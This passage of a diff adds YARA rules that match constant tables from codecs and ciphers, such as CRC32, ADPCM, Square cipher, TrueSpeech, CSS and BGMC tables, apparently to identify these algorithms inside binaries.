f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7fdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0bfdfc0a0b0303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40303f5f40b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfc0b0bfdfcf5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203f5f40203121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212eeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeededed050514140505141405051414050514140505141405051414050514140505141405051414050514140505141405051414fbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebebfbfaebeb141405051414050514140505141405051414050514140505141405051414050514140505141405051414050514140505000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009090909f7f6f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020314141414ecebebeb06061717faf9e8e817170606e9e8f9f9efee10111111efeef9f81a1b0707e5e41b1bf9f8e5e4060713132727edecd8d827271313d9d8ecec27272727d9d8d8d803032b2bfdfcd4d42b2b0303d5d4fcfce8e723241818dcdb2424e8e7dcdb17182a2a4545d6d5baba45452a2abbbad5d5f2f134350e0ecbca3535f2f1cbca0d0e13134747edecb8b847471313b9b8ecec49494949b7b6b6b6fefd4f500202b0af5050fefdb0af0102cccb33343434cccbd9d845462727bab94646d9d8bab9262730307979d0cf8686797930308786cfcf54547c7cacab83837c7c54548483ababe5e463641b1b9c9b6464e5e49c9b1a1bafae656651519a996666afae9a99505137373737c9c8c8c868686868989797970000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6fdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0cfdfc0b0c0303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30303f4f30c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfc0c0cfdfcf4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f30203f4f3020314141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebeb06061717060617170606171706061717060617170606171706061717060617170606171706061717060617170606171706061717faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e8faf9e8e817170606171706061717060617170606171706061717060617170606171706061717060617170606171706061717060617170606e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9e9e8f9f9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1800063__32_lil_refl_False_
+{
+strings:
+	$a0 = { 0000000063008001c6000003a50080028c010006ef0180074a010005290180041803000c7b03800dde03000fbd03800e9402000af702800b52020009310280083006001853068019f606001b9506801abc07001edf07801f7a07001d1907801c280500144b058015ee0500178d058016a4040012c70480136204001101048010600c0030030c8031a60c0033c50c8032ec0d00368f0d80372a0d0035490d8034780f003c1b0f803dbe0f003fdd0f803ef40e003a970e803b320e0039510e8038500a0028330a8029960a002bf50a802adc0b002ebf0b802f1a0b002d790b802c480900242b0980258e090027ed098026c4080022a70880230208002161088020c0180060a318806106180063651880624c1900662f1980678a190065e9198064d81b006cbb1b806d1e1b006f7d1b806e541a006a371a806b921a0069f11a8068f01e0078931e8079361e007b551e807a7c1f007e1f1f807fba1f007dd91f807ce81d00748b1d80752e1d00774d1d8076641c0072071c8073a21c0071c11c8070a0140050c314805166140053051480522c1500564f158057ea15005589158054b817005cdb17805d7e17005f1d17805e3416005a5716805bf21600599116805890120048f31280495612004b3512804a1c13004e7f13804fda13004db913804c88110044eb1180454e1100472d1180460410004267108043c2100041a1108040803100c0e33180c1463100c3253180c20c3000c66f3080c7ca3000c5a93080c4983200ccfb3280cd5e3200cf3d3280ce143300ca773380cbd23300c9b13380c8b03700d8d33780d9763700db153780da3c3600de5f3680dffa3600dd993680dca83400d4cb3480d56e3400d70d3480d6243500d2473580d3e23500d1813580d0e03d00f0833d80f1263d00f3453d80f26c3c00f60f3c80f7aa3c00f5c93c80f4f83e00fc9b3e80fd3e3e00ff5d3e80fe743f00fa173f80fbb23f00f9d13f80f8d03b00e8b33b80e9163b00eb753b80ea5c3a00ee3f3a80ef9a3a00edf93a80ecc83800e4ab3880e50e3800e76d3880e6443900e2273980e3823900e1e13980e0402900a0232980a1862900a3e52980a2cc2800a6af2880a70a2800a5692880a4582a00ac3b2a80ad9e2a00affd2a80aed42b00aab72b80ab122b00a9712b80a8702f00b8132f80b9b62f00bbd52f80bafc2e00be9f2e80bf3a2e00bd592e80bc682c00b40b2c80b5ae2c00b7cd2c80b6e42d00b2872d80b3222d00b1412d80b02025009043258091e625009385258092ac240096cf2480976a240095092480943826009c5b26809dfe26009f9d26809eb427009ad727809b72270099112780981023008873238089d623008bb523808a9c22008eff22808f5a22008d3922808c082000846b208085ce200087ad20808684210082e72180834221008121218080 }
+
+condition:
+	$a0
+}
+
+	
+rule ADPCM_index_table__step_variation___32_lil_64_
+{
+strings:
+	$a0 = { FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF02000000040000000600000008000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF02000000040000000600000008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Thandor_game_audio_codec____needs_verification___32_big_512_
+{
+strings:
+	$a0 = { FFFFD8F0FFFFE4A8FFFFE890FFFFEAD9FFFFEC78FFFFEDBAFFFFEEC1FFFFEF9FFFFFF060FFFFF10AFFFFF1A2FFFFF22CFFFFF2A9FFFFF31CFFFFF387FFFFF3EBFFFFF448FFFFF49FFFFFF4F2FFFFF540FFFFF58AFFFFF5D0FFFFF613FFFFF654FFFFF691FFFFF6CCFFFFF704FFFFF73BFFFFF76FFFFFF7A2FFFFF7D3FFFFF802FFFFF830FFFFF85CFFFFF887FFFFF8B1FFFFF8DAFFFFF901FFFFF928FFFFF94DFFFFF972FFFFF996FFFFF9B8FFFFF9DAFFFFF9FBFFFFFA1CFFFFFA3CFFFFFA5BFFFFFA79FFFFFA97FFFFFAB4FFFFFAD0FFFFFAECFFFFFB08FFFFFB23FFFFFB3DFFFFFB57FFFFFB71FFFFFB8AFFFFFBA3FFFFFBBBFFFFFBD3FFFFFBEAFFFFFC01FFFFFC18FFFFFC2EFFFFFC44FFFFFC5AFFFFFC6FFFFFFC85FFFFFC99FFFFFCAEFFFFFCC2FFFFFCD6FFFFFCE9FFFFFCFDFFFFFD10FFFFFD23FFFFFD35FFFFFD48FFFFFD5AFFFFFD6CFFFFFD7EFFFFFD8FFFFFFDA0FFFFFDB1FFFFFDC2FFFFFDD3FFFFFDE3FFFFFDF4FFFFFE04FFFFFE14FFFFFE24FFFFFE33FFFFFE43FFFFFE52FFFFFE61FFFFFE70FFFFFE7FFFFFFE8DFFFFFE9CFFFFFEAAFFFFFEB8FFFFFEC6FFFFFED4FFFFFEE2FFFFFEF0FFFFFEFDFFFFFF0BFFFFFF18FFFFFF25FFFFFF32FFFFFF3FFFFFFF4CFFFFFF59FFFFFF66FFFFFF72FFFFFF7EFFFFFF8BFFFFFF97FFFFFFA3FFFFFFAFFFFFFFBBFFFFFFC7FFFFFFD2FFFFFFDEFFFFFFE9FFFFFFF5 }
+
+condition:
+	$a0
+}
+
+	
+rule Square_crypto_algorithm_T_decoding__32_lil_4096_
+{
+strings:
+	$a0 = { 02bc68e30c62855531233f2af713ab61726dd498199acb2161a4223ccd3d9d4523b4fd055f07c42bc0012c9b0f80d93d745c6c48857e7ff91fab73f10edeedb6ed6b3c281a7897498d912a9f339f57c9aaa807a97ded0da58f2d427cc9b04d7657e8914dcc63a9ced296eeb4b6e12830b961f10d266719bd80ad9b41c76ea0c041f2835134f0db92fc1ea26f4cce328f7333e0136dc6a76993646de5fa2f1abfb7bf1cbbb50374584f2c6ee796b7895d2a059ce8a3196644fb712e346529f20f7a8281fef12213b1ec3508a37e0f51cd14a67afff893725c1297c22fc3e370f31c492f99681543d11b26a3c2b332cc886f7acf8a9f06e8b01ef5477ada79bbd2210895e65ce598430631b8d0af7be3115365417e102baacc9ce4b4d8d4a7566459367cfb84204b72f64d9feadfaa5f6acedfc12d5868487081f3afca91d80506694b775aa528de944210df3947c33b81a6ca82fcc5d2c823b26cf8039ad50c0840acb7dae109b97d2c342438a24752cfd174b2dc2b5ba8639555d53511759e47e2ebe515c630944ba8146f4a869c239139cc6a4c4aff8a5f4d900604bbdd99eeca52111e18c4ffaa986964ebfffcfe07015e348bbe0e7d56d99be7ba32c163427bdcb5751744269766cbae67cb0c259567959aecd02a86579937506005d3e4b8ba83ad6535aeef1913c9f6a4a94a5bc1d61b3e875e59f0a05b8a14183b7002af76e004abbf5049dd63184adf56b6a5c60a533d85371287faa794b6777f51654609b161ede9e6ec1b258545d5523b75f53d41ba7f8842ce27434eebb297e9bdd6f39e7b52457f5362a0fb3a2c70d1bc7b6bf71fb91d171b12c8ee79fdf07c273ad7450a0c7960dd96abf63322891cfaac5dbbacc8307d0ba14ba1bed4940be1be540acd2562467e548211f3a23ea3e617e6663526750258c39b8b3883c2bd4478dc4803028ba0924f7cb3392ee584694e718f88f027392d363ffdd29c6e24fb01dd16378900000000e0578df66c9893e215f84e745ad42093e73801adb45d40d387c2171a2d6a10b32fd678503c1f8ef4a1a50ea7364cb371ae25d79a24db715e50871d16d5f962ef9086318d161a121ccf81f5a6076f8c5b491dd637923a596e6477c684b83fc586f9cd46d7b0d090e0834fc729fd4096e40b0d090e2056a16d22eac98e2e884cdb8e7376f7bcb215b5c15f18106aa92b32b18ea46b5554f9aeee89604008ef5566442167e9bdec213e77be3020adc78bf229e7c0808ccf1e144843e2bc8afea6c4d8c5d33160fa16b79dba8053f2c04fd9783ee91d3a2e3624def46be1efd754cbf4f1f709f5afc38228b9f40b51d9299d38925ec7eb5a84f8e8b8d8900d3cb1de048dd03303e25c68e4da5dc59e58dc3b469d0f0ad3c8da3fdb278f59c48cfca8ac99bf794e725a6cfea2ca8ce3b5d19ea476ea1fea04b073bc68e3026285550c233f2a3113ab61f76dd498729acb2119a4223c613d9d45cdb4fd052307c42b5f012c9bc080d93d0f5c6c48747e7ff985ab73f11fdeedb60e6b3c28ed7897491a912a9f8d9f57c933a807a9aaed0da57d2d427c8fb04d76c9e8914d5763a9cecc96eeb4d2e12830b661f10db96719bd26ad9b41806ea0c0c7f2835141f0db92341ea26ffcce328f4c33e01373c6a7696d646de5932f1abffabf1cbbb7037458b52c6ee74fb7895d96059ce82a196644a3712e34fb29f20f658281fe7a2213b1f13508a3ec0f51cd7ea67aff1493725cf897c22f12e370f3c3492f991c1543d16826a3c21b32cc88b37acf8a6f06e8b09ff5477a1e79bbd2da0895e621e598435c31b8d0067be311af65417e532baacc10e4b4d89ca75664d4367cfb59204b72844d9feaf6aa5f6adfdfc12dce68487058f3afca81d80506914b775a6928de94a510df3942c33b8147ca82fca6d2c823c56cf803b2d50c089aacb7da4009b97de13424382c4752cfa274b2dcd15ba8632b55d53595759e4711ebe515e230944bc6146f4aa89c239186cc6a4c39ff8a5f4a9006044ddd99eebb52111ecac4ffaa186964eb98fcfe07ff5e348b010e7d56be9be7bad9c1634232dcb5757b44269717cbae67660c2595cb959aec672a8657d037506099d3e4b80583ad65baaeef1935c9f6a4134a5bc1a91b3e87d659f0a05e8a14185b7002af3be004ab765049ddbf184adf63b6a5c656533d850a1287fa3794b677a75165467fb161ed09e6ec1be98545d5253b75f55241ba7f3d42ce27884eebb243e9bdd6979e7b52f37f536245fb3a2ca0d1bc7b70f71fb96b171b121dee79fdc87c273af0450a0cd760dd9679f63322ab1cfaac89bbacc85d7d0ba130a1bed44b0be1be940acd2554467e546211f3a282a3e6173e663526e60258c3758b38839bbd4478c2480302dca0924f8bb3392e7c84694ee58f88f071392d3627fdd29c3f24fb016e163789dd00000000578df6e09893e26cf84e7415d420935a3801ade75d40d3b4c2171a876a10b32dd678502f1f8ef43ca50ea7a14cb3713625d79aaedb715e24871d1650f962efd586318d901a121c1681f5a6cf6f8c5b071dd637493a596e9277c684643fc586b8cd46d7f9d090e0b04fc729834096e4fd0d090e0b56a16d20eac98e22884cdb2e7376f78eb215b5bc5f1810c1a92b326a8ea46bb154f9ae55896040eeef5566082167e944ec213ebdbe302077c78bf2ade7c08029cf1e148c43e2bc48fea6c48ac5d331d8fa16b760ba80539dc04fd9f23ee91d782e36243af46be1ded754cbeff1f709f4afc382f5b9f40b28d9299d51925ec7385a84f8ebb8d890e83cb1de0d8dd03304e25c6803da5dc5e458dc3b9e9d0f0a46c8da3fd3278f59db8cfca8c499bf79ac725a6c4ea2ca8cfeb5d19ee376ea1fa404b073ea68e302bc85550c623f2a3123ab61f713d498726dcb21199a223c61a49d45cd3dfd0523b4c42b5f072c9bc001d93d0f806c48745c7ff9857e73f11fabedb60ede3c28ed6b97491a782a9f8d9157c9339f07a9aaa80da57ded427c8f2d4d76c9b0914d57e8a9cecc63eeb4d2962830b6e1f10db96119bd26679b4180ada0c0c76e835141f2db9234f0a26ffc1e328f4ccee0137333a7696dc66de593641abffa2f1cbbb7bf7458b5036ee74f2c895d96b79ce82a056644a3192e34fb71f20f652981fe7a8213b1f12208a3ec3551cd7e0f7aff14a6725cf893c22f129770f3c3e32f991c4943d16815a3c21b26cc88b332cf8a6f7ae8b09f06477a1ef5bbd2da7995e6210898435ce5b8d00631e311af7b417e5365aacc102bb4d89ce45664d4a77cfb59364b7284209feaf64d5f6adfaac12dcedf48705868afca81f3050691d8775a694bde94a528df3942103b8147c382fca6cac823c5d2f803b26c0c089ad5b7da40acb97de10924382c3452cfa247b2dcd174a8632b5bd53595559e471175e515e2eb944bc6306f4aa8142391869c6a4c39cc8a5f4aff06044d9099eebbdd111eca52ffaa18c464eb9869fe07fffc348b015e7d56be0ee7bad99b634232c1b5757bdc26971744ae6766cb2595cb0c9aec67958657d02a50609937e4b805d3ad65ba83ef1935aef6a413c95bc1a94a3e87d61bf0a05e5914185b8a02af3b7004ab76e049ddbf504adf6318a5c656b63d850a5387fa3712b677a79465467f5161ed09b1ec1be9e645d5258575f5523bba7f3d41ce278842ebb2434ebdd697e97b52f39e5362457f3a2ca0fbbc7b70d11fb96bf71b121d1779fdc8ee273af07c0a0cd745dd9679603322abf6faac891cacc85dbb0ba1307dbed44ba1e1be940bcd25540a7e546246f3a28211e6173ea33526e66658c3750238839b8b4478c2bd0302dc48924f8ba0392e7cb3694ee58488f0718f2d362739d29c3ffdfb016e243789dd16000000008df6e05793e26c984e7415f820935ad401ade73840d3b45d171a87c210b32d6a78502fd68ef43c1f0ea7a1a5b371364cd79aae25715e24db1d16508762efd5f9318d9086121c161af5a6cf818c5b076fd637491d596e923ac6846477c586b83f46d7f9cd90e0b0d0c729834f96e4fd40090e0b0da16d2056c98e22ea4cdb2e8876f78e7315b5bcb21810c15f2b326aa9a46bb18ef9ae55546040ee89556608ef67e94421213ebdec302077be8bf2adc7c08029e71e148ccfe2bc4843a6c48afed331d8c516b760fa80539dba4fd9f2c0e91d783e36243a2e6be1def454cbefd7f709f4f1c382f5aff40b28b9299d51d95ec7389284f8eb5ad890e8b8b1de0d3cd033048d5c6803e25dc5e4dadc3b9e580f0a469dda3fd3c88f59db27fca8c48cbf79ac995a6c4e72ca8cfea2d19ee3b5ea1fa476b073ea04e302bc68550c62852a31233f61f713ab98726dd421199acb3c61a42245cd3d9d0523b4fd2b5f07c49bc0012c3d0f80d948745c6cf9857e7ff11fab73b60edeed28ed6b3c491a78979f8d912ac9339f57a9aaa807a57ded0d7c8f2d4276c9b04d4d57e891cecc63a9b4d296ee30b6e1280db961f1bd2667194180ad9bc0c76ea05141f2839234f0db6ffc1ea28f4cce32137333e0696dc6a7e593646dbffa2f1abbb7bf1c58b50374e74f2c6e5d96b789e82a059c44a3196634fb712e0f6529f2fe7a8281b1f12213a3ec3508cd7e0f51ff14a67a5cf893722f1297c2f3c3e370991c492fd1681543c21b26a388b332cc8a6f7acfb09f06e87a1ef547d2da79bbe6210895435ce598d00631b811af7be37e536541cc102baad89ce4b464d4a756fb59367c7284204beaf64d9f6adfaa5f2dcedfc170586848ca81f3af0691d8055a694b7794a528de394210df8147c33bfca6ca8223c5d2c803b26cf8089ad50cda40acb77de109b9382c3424cfa24752dcd174b2632b5ba8359555d54711759e15e2ebe54bc630944aa8146f91869c234c39cc6a5f4aff8a044d9006eebbdd991eca5211aa18c4ffeb98696407fffcfe8b015e3456be0e7dbad99be74232c163757bdcb5971744266766cbae95cb0c25ec67959a57d02a8660993750b805d3e465ba83ad1935aeefa413c9f6c1a94a5b87d61b3ea05e59f0185b8a14af3b7002ab76e004ddbf5049df63184ac656b6a5850a533dfa37128777a794b6467f5165ed09b1611be9e6ecd5258545f5523b757f3d41ba278842ceb2434eebd697e9bd52f39e7b62457f532ca0fb3a7b70d1bcb96bf71f121d171bfdc8ee793af07c270cd7450a967960dd22abf633ac891cfac85dbbaca1307d0bd44ba1bebe940be125540acd5462467ea28211f3173ea3e626e66635c3750258839b8b3878c2bd4402dc48034f8ba0922e7cb3394ee58469f0718f883627392d9c3ffdd2016e24fb89dd163700000000f6e0578de26c98937415f84e935ad420ade73801d3b45d401a87c217b32d6a10502fd678f43c1f8ea7a1a50e71364cb39aae25d75e24db711650871defd5f9628d9086311c161a12a6cf81f55b076f8c37491dd66e923a59846477c686b83fc5d7f9cd46e0b0d09029834fc7e4fd40960e0b0d096d2056a18e22eac9db2e884cf78e7376b5bcb21510c15f18326aa92b6bb18ea4ae5554f940ee89606608ef55e94421673ebdec212077be30f2adc78b8029e7c0148ccf1ebc4843e2c48afea631d8c5d3b760fa16539dba80d9f2c04f1d783ee9243a2e36e1def46bcbefd75409f4f1f782f5afc30b28b9f49d51d929c738925ef8eb5a8490e8b8d8de0d3cb133048dd06803e25cc5e4da5d3b9e58dc0a469d0f3fd3c8da59db278fa8c48cfc79ac99bf6c4e725a8cfea2ca9ee3b5d11fa476ea73ea04b0 }
+
+condition:
+	$a0
+}
+
+	
+rule lpc_encode_rmst_table__32_lil_256_
+{
+strings:
+	$a0 = { 00040000a80300005803000010030000ce020000900200005802000026020000f6010000cc010000a4010000800100006001000048010000260100000e010000f6000000e2000000ce000000bc000000ac0000009e0000009000000084000000780000006e000000660000005c000000540000004e00000046000000400000003c00000036000000320000002e0000002a0000002600000022000000200000001e0000001a0000001800000016000000140000001200000011000000100000000f0000000e0000000d0000000c0000000b0000000a00000009000000080000000700000006000000050000000400000003000000020000000100000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_3__16_lil_32_
+{
+strings:
+	$a0 = { 54c6f2deaaef94fd6a093f147b1e2c287631893a9f43a24c7f55505e18678d6f }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_css_tab5__8_byt_256_
+{
+strings:
+	$a0 = { ff7fbf3fdf5f9f1fef6faf2fcf4f8f0ff777b737d7579717e767a727c7478707fb7bbb3bdb5b9b1beb6bab2bcb4b8b0bf373b333d3539313e363a323c3438303fd7dbd3ddd5d9d1ded6dad2dcd4d8d0df575b535d5559515e565a525c5458505f979b939d9599919e969a929c9498909f171b131d1519111e161a121c1418101fe7ebe3ede5e9e1eee6eae2ece4e8e0ef676b636d6569616e666a626c6468606fa7aba3ada5a9a1aea6aaa2aca4a8a0af272b232d2529212e262a222c2428202fc7cbc3cdc5c9c1cec6cac2ccc4c8c0cf474b434d4549414e464a424c4448404f878b838d8589818e868a828c8488808f070b030d0509010e060a020c0408000 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_11__16_big_514_
+{
+strings:
+	$a0 = { 40003f3b3e763db13ced3c293b653aa139dd391a3857379636d536153555349733d9331b325e31a230e6302c2f722eba2e022d4d2c982be52b332a8229d22924287627c8271a266e25c22519247023cb2327228521e3214520a7200d1f731edd1e471db21d1d1c8c1bfb1b6e1ae21a5919d1194c18c7184617c5174816cb165015d5155a14df146713ef137b13081299122a11be115310ec108510220fbf0f600f010ea30e450deb0d910d3b0ce60c940c420bf30ba40b590b0e0ac70a800a3b09f609b1096c092908e608a70868082c07f007b6077d0747071106de06ab067b064b061c05ed05c10595056b0542051b04f404ce04a90486046304420422040203e203c203a2038303650349032d031202f802df02c602af02980283026e025a02460232021f020d01fb01ea01d901c901ba01ab019c018e018101750169015d015101450139012d01220117010d010300f900f000e700de00d600ce00c700c000b900b200ab00a5009f00990094008f008a00850080007b00770073006f006b00670063005f005b005700530050004d004a004700440041003f003d003b00390037003500330031002f002d002b0029002800270026002500240023002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huffman_pan__8_byt_56_
+{
+strings:
+	$a0 = { F101F002F2030405EFF30607EEF40809EDF50A0BECF60C0DEBF7EA0EF80F1011E9F91213E7141516E8FAFB171819E4E6FCFE1A1BE3E5FDFF }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_mid0xC2DB2AA3__32_big_8188_
+{
+strings:
+	$a0 = { 000000004fc38fa09f871f40d04490e05a6b5be515a8d445c5ec44a58a2fcb05b4d6b7cafb15386a2b51a88a6492272aeebdec2fa17e638f713af36f3ef97ccf0cc80af1430b8551934f15b1dc8c9a1156a351141960deb4c9244e5486e7c1f4b81ebd3bf7dd329b2799a27b685a2ddbe275e6deadb6697e7df2f99e3231763e199015e256539a4286170aa2c9d4850243fb4e070c38c1a7dc7c514793bfdee7ad46a228e2852d8832c1bd687d0232c8f72df9cdb8ee766d68aae68d2769692d15581f135a9b90b38adf0053c51c8ff34f3344f600f0cb56d0b45bb69f77d416a18ea8d9ee4d27793e09b79971ca3839fbe5f33cb4267c9c6462ec7c2ba163dc33202bc47ce3a464aca73484e364bb24694b70212688ff81f6cc6f61b90fe0c187f69c0ec83513ae1871834e57b20ceedd9dc7eb925e484b421ad8ab0dd9570b3fe82135702bae95a06f3e75efacb1d565837ad02a40f570fa046590b5c7ea308b3e96ffc4fd195f14b989bf5b7a061fd155cd1a9e9642ba4ed2d25a01115dfa2ab03e266573b186b5372166faf4aec670db65c33f18ea63ef5c7a83a09ff5239e6689ecd1a5064c01e196ac4e22190cc40dd2098bce5da95b8acd49144942e9267834d769bbbb77b9ff2b97f63ca4377c136f3233d0e092e3947072ac57ffd292ae831ddd6d0cbd0d299c5d42ea13fdc8c5d8f8870657585742c7b818814818664057882983d828f9c748c8b604c7683c2b0c6d73e883cda3ac132dec6f9c8dd296e0429d556fe24d11ff0202d270a288fdbba7c73e3407177aa4e758b92b476a885d79254bd2d9f50f4239bacccd9930e3069c7f20893caf6419dce0a7967cde5eeab3919d651341d9f5f30e1a7a538435b156cbf63ef61bb2ae16547121b67fd0426a3013cdcae0575d2aaf94d28a25bb198f6a78962fba3c06cff5ff896fcb06f5a084c57a005481eae01b426540916dae45deae21e50eeab10541293ea57318489b3cdbc73bec9f57dba35cd87b2973137e66b09cdeb6f40c3ef937839ec7ceff51880d70f15849e011178a6fb19da5a4b4d2662b140222bbf44de1345455607c4c1aa3f3eccae7630c8524ecac0f0b27a940c8a809908c38e9df4fb749e1b6cb86ae7544267e31d4c631f25b66bbdd9063f41e1fc3245a8f236b99008359a876bd166bf91dc62f69fd89ece65d03c32d584c00a2f89c443218d387bdb8ed7ec177a2bd4ed772f9de373d3a5197b7159a92f8d61532289285d267510a724cf069ae0333e60ed37776ee9cb4f94e169b324b5958bdeb891c2d0bc6dfa2abf826de64b7e551c467a1c12428624e84a24d8581ed8e0a213dca9ac1720915614038635f0ffbecffdfbf7c1f907cf3bf1a5338ba5590b71a85d427faca17a85af4eed495bb2d5b356b69cbd524aa4475ae858f70e14600d0310290307ec11f90cc80af10834320b05307b0501cc43ff096ebf4f5d9287b55096cebb546af6415785618da3795977ae7d1079aa812883a223d433f6dfecc9fbdba5c7ff279d3dfc048a5e18f8b2a415fcfbaa1100c35019a23fe04d5e071a405a4e1444a676ee4749e122b3b5d9d8beb190d6ba4da82cb2ef549ce6136c66eb172568efeb1d92ed510baf29ad335524a97a5b205542a128f7be117c0b86eb710fcfe575f3f71f761c60d382e058298fe411278b1829dd83bad56dd746ed97da42a499debe9c63dd9d8b003961b3fa3465faf43099c20e383b3ebe6cc7064461c34f4a653f77b066d0e07c922cd8869f2891889bd4a972937655c2c78a6d38ca8e2436ce721ccccffa084d4b0630b7460279b942fe41434a5cbdf31ea0850913a4cc071758f4fd14b76331e04b5bcbed4f12c5e9b32a3fe111d68fb5edee75b8e9a77bbc159f81bf3688e25bcab01856cef9165232c1ec5a903d5c0e6c05a603684ca807947452047be39ef087db64fd83926af97faa90f1dd5620a5216edaa82527d4acd91f2eae6309136a9f31e9679b78e76367401d6bc5bcad3f398457323dcd5936c1f5a3352e626fc1d25a95ccd6139bc82a2b61c088d7d19474ef2b9970a6259d8c9edf9eaf89bc7a53b1467757f84873abc0b27b093c022ff504f822f14df6260d750c25e2e2c0d11eda3adc1a9334d8e6abced044577e84b86f8489bc268a8d401e708aac0f898e50377383547e7d87a846878f0aba37dbf682cdd6f2cbc3d20ef339d1e164f5251d5c0f281915012ce52dfb2447d14b70bbe9b17dbfa0bf794398457a608f269e9cb7dc9398fed29764c6289fc63a98cb3a0262c63e4b6cc2c27396c12de45a35d1dca038d595ae3c29ad54348b51e46077691e6d732010698f18ea6b350ed7afc9362da2cd7f23a63147d9ae93bb69fa6f8393f76bca9df397f267f07865ab04845d510980145f0d7c2ca505ded0155122e8ef5c26a1e158da991b5bf98e78bf05b682b201ff8cb6fdc776be5f3bc6eaa3033ce7a74a32e35b72c8e0b4e5041448ddfe194c94f01db0ac0a151250ba41ee68404cea214e481619b4499e0d35cd6235cfc0667cc1c49a443bcc38b88b98c4807195c0c97f913cf18592d36649662f5eb36b2b17bd6fd72f476775d3f73389eb0d3e8da2033a719af939528d9addaeb560d0aafc6ed456c494dcf43824880800de850c49d081f0712a821fe6e676e3de1c7be797127f1bafe877b9535823456ba22e4122ac2abd1a5628070c6becfb3491e1ff7d9fe5034565eda1b9d5b95d812fb459c821b0a5f0dbb34a671747b65fed4ab216e34e4e2e1946ecd2a91210ea531f14a35d1be89ba718cb8cc4fc37b43ef133fd30f5cfc5cafd6d397aa9910180a495488ea0697074a386e7b8577adf425a7e964c5e82aeb65620520602dc6afc0fd823f20b241b080fc643b45b3a7b4e563e324052c20aba5a60f60a0e9ccef0039887fe0764bf04048b28c8f0771032fd73593cf98f61c6f12d9d76a5d1a58ca8d5ec82ac29d478af0ac31b4bf6fbe146f2b2ef420e8a154aac76a51e504e5f1354075117a83fab1447a867e0bb909dedbfd993e943e169e1e11dd9b51d2523b8196c2dbce554d7be5f42ea7aa37a1077a7331e735b0be47bf9f7542f05cfae220186a026fdbe5a25122996d1ee116cdcea5862d8166098d0b49c288448a4d2894ceddc8db0d5268e93c2456a6ffabf676bb3b163978b4b6b3577fb3fc94f0132cd060f36313ef535dea939c12291c3cc26d8cdc8dae037c0781c879484247d99806d739d7c55899cf44108180879f2150c30fc11f008061952f4b64daecc4c40aa85424456bdb847b92a74b345128ebe415b80babd637ab21f9fcae6e3a730ebe7ee3eef1bd6c4ec38c1a708c4f95d05c0b053013c88a9099e74195d624ce3506605ed549a3d175775aadba3899221ae8ddb2faa71e3d5a2d31f65f62f279ffb2b6e91ffd7566bfd6d4056399178ac349531a23069095838cbf5e86c37cd126133841c65cfbce666202b2a92dc13d09fd85ade9b24622493869e94c77aa66eca7eef60ce82d79acda1c0f9295df8032459b10d20a589f7280775477cfb4dbd71ff04b375033c4976ecab858210937f8f14da718be8e28b834a1e3bd7b626c1dab26fcfde4e5735d9a246ccdd5e7e36d05a3738d4a60fc2dc04f37288f8cb8885fc82868100ba7c82ef2db07613154a7b175c447feb64be7749980e23b5a0f42eb1e9fa2a4dd100296ec663cd92fe99c096b797c46a8f6dccc873dd98344b279530022991cc3ad39223ad1f66df95e56bdbdceb6f27e411678518a13379205b3e7d69553a8151af383b4792fcc77f68f1c33666f53f0e9cfd9df22ca961cad6a46583d8a099bb22a3762cee578a14145a8e5d1a5e7265e056d09950022ca1aa0f28e8a40bd4d05e08f7c73dec0bffc7e10fb6c9e5f38e33ed517283b9ad4a79b4a90377b0553b8db3baac41474694bb4a42ddb54ebee54f461c19ff12e021051fe4680b1b1850f11a9044709e6c7c8a9368358497940d7e9f36f1cecbcac934c6ce803ac232b8c0c1dd2f0c352117f638255ef83c